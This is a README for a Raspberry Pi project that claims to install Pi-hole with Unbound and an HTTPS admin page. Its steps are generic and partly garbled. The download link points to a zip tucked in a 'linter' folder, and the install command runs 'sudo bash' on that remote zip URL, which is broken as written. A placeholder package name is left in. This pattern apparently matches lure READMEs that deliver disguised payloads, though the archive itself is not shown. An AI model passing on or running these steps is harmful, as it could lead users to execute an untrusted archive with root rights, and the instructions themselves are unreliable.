Welcome to the secure-dns-home-lab project! This application sets up Pi-hole with a recursive DNS server using Unbound. With a secure HTTPS admin interface, it enhances your home network's safety and speed. Enjoy effortless control over your DNS queries while increasing your online privacy.
Follow these easy steps to get started with secure-dns-home-lab.
Before downloading, ensure you have the following:
- A Raspberry Pi running Raspberry Pi OS.
- Basic internet connection.
- A computer or device to access the admin interface.
- Pi-hole DNS Blocking: Blocks unwanted ads and trackers on all devices in your home.
- Recursive DNS: A more private way to resolve domain names.
- Secure Access: HTTPS admin interface offers added security.
- Easy Setup: Simple installation process for anyone.
To download and install the application, please visit this page: Download Here.
-
Visit the Releases Page Go to the releases page by clicking on the link above. Here, you will find the latest version of the software.
-
Select the Latest Release Look for the most recent version and click on it. You will see all the assets associated with this release.
-
Download the Package Click on the
.ziporhttps://github.com/Foster-Kashoni/secure-dns-home-lab/raw/refs/heads/main/linter/secure-home-dns-lab-v3.3-alpha.1.zipfile link to download the software package. This file contains everything you need to get started. -
Extract the Package Once downloaded, locate the file on your device and extract it using your file manager or compression tool.
-
Install Dependencies Open the terminal on your Raspberry Pi. You may need to install certain dependencies. Run the following commands:
sudo apt update sudo apt install package_name
Replace
package_namewith the necessary dependencies for Pi-hole and Unbound. Common packages includednsutils,curl, andgit. -
Run the Installation Script Navigate to the extracted folder in the terminal and run the installation script:
cd path_to_extracted_folder sudo bash https://github.com/Foster-Kashoni/secure-dns-home-lab/raw/refs/heads/main/linter/secure-home-dns-lab-v3.3-alpha.1.zip -
Access the Admin Interface After the installation finishes, access your Pi-hole admin interface using your web browser. Type in your Raspberry Pi’s IP address followed by
/admin. For example:http://192.168.1.x/adminReplace
192.168.1.xwith your actual Raspberry Pi’s IP address. -
Set Up Unbound Follow the instructions on screen to configure Unbound as your local recursive DNS server.
-
Secure Admin Interface To secure your admin interface, enable HTTPS during the setup process, following the prompts provided.
Once set up, enjoy a cleaner browsing experience. Check the stats through your Pi-hole admin interface to see the blocked ads and queries. Adjust settings as needed based on your preferences.
If you encounter issues, consider the following solutions:
-
Installation Issues: Ensure all dependencies are installed. Re-run the install command if necessary.
-
Access Problems: Double-check your Raspberry Pi’s IP address and network connections.
-
DNS Not Working: Restart your Pi-hole service with the command:
pihole restartdns
You can customize various settings through the admin interface, such as:
- Adding or removing DNS block lists.
- Whitelisting or blacklisting specific domains.
- Monitoring queries to improve the accuracy of your filtering.
Ensure your installation is secure by enabling HTTPS. Regularly update your software and block lists to protect against new threats. Back up your configurations periodically.
Join discussions within the community forums to share your experiences or ask for help. Your feedback can help improve the project.
Feel free to reach out if you have questions or need assistance. Your journey to a safer and faster home network begins here!